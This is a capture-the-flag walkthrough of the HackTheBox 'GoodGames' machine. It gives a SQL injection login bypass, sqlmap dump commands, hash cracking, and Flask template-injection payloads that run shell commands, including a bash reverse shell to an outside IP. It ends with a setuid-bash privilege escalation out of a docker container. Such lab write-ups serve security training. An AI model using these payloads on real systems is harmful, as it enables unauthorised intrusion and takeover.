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Hackthebox - Good games

  • Linux

Good Games

Nmap

Port 80

  • We have a video game website image

We have a SQL injection that allows us to bypass login.

  • Request

  • Response

  • Now in our profile page we have settings, it requires de change the /etc/host file though 10.10.11.130 internal-administration.goodgames.htb This page has another login thoug so we need to try to dump some data with SQLi image

  • With union we can actually dump some interesting things: email=' union select 1,2,3,database()-- -&password=eeeee

    • the current database is main

  • We can just save the request in a file and use sqlmap to dump the db

    • In burp we right click on a request (without sql injection) save item image

    • Save it as request and then we just have to pass it to sqlmap this way sqlmap -r request -p email I manually with burp repeater saw tha the database name was main so I can dump it this way sqlmap -r request -p email --dump -D main

SQLmap results

We get the admin hash this way!

  • We put the hash in crackstation and get the password this way superadministrator

  • image

Volt

  • Using the password we can now login to volt image

  • After a look on the platform we can interact in the settings and modify the full name image So this is an injection point with something actually reflected to us. If we look for common flask exploitation we can find an article about SSTI If we try the first paylaod mentioned in the article using burp repeater it seems to work: image We can see that {{7*7}} gives 49

  • This way we can get the config using {{config}}

  • These slides are also quite helpful, if we try this payload we get the "id" and we are root right away name={{ namespace.__init__.__globals__.os.popen('id').read() }}

  • Lets grab the flags name={{ namespace.__init__.__globals__.os.popen('cat /home/augustus/user.txt').read() }}

  • I can not grab the root flag.

  • Let's try to get a shell

  • We got a shell from the web application (not burp) using this paylaod {{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.3/5555 0>&1"').read() }}

  • Then we upgraded our shell

OR

  • Than we can make a ping sweep to look for where is the reak machine as we are in a docker container (hence the docker file in the folder)

image

  • if we ssh with augustus and the same password on 172.19.0.1 we get a user shell

Privesc

  • So we are in 2 env one in a docker with root rights and one in the actual machine with just user rights, let's abuse this to our advantage.

    • Take another reverse shell to the docker (now we have 2 shells)

    • In our augustus shell cp /bin/bash .

    • In our root docker shell chmod 4777 bash

    • In our augustus ./bash -p

    • We should be root!

  • Let's grab the flag cat /root/root.txt

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